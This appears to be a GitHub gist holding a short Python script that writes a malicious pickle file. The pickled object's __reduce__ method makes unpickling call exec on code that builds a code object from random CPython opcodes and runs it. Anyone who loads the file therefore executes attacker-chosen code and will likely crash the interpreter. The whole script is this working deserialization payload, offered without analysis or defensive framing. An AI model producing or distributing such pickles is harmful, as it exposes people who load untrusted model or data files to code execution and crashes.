Created
August 15, 2023 08:00
-
-
Save gamecss/1adc6976e782b0f30d6cbea0f2e11e36 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class ABCD(object): | |
def __reduce__(self): | |
a = """def a(): | |
from opcode import opmap | |
from random import choice | |
from types import CodeType | |
ops = b"" | |
opvalues = list(opmap.values()) | |
while len(ops) < 37: | |
ops += choice(opvalues).to_bytes(1, "little") | |
code = CodeType(0, 0, 0, 0, 0, 0, ops, (), (), (), "", "rf", 1, b"") | |
exec(code) | |
a()""" | |
return exec, (a,) | |
import pickle | |
with open("?.pkl", "wb") as f: | |
pickle.dump(ABCD(), f) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment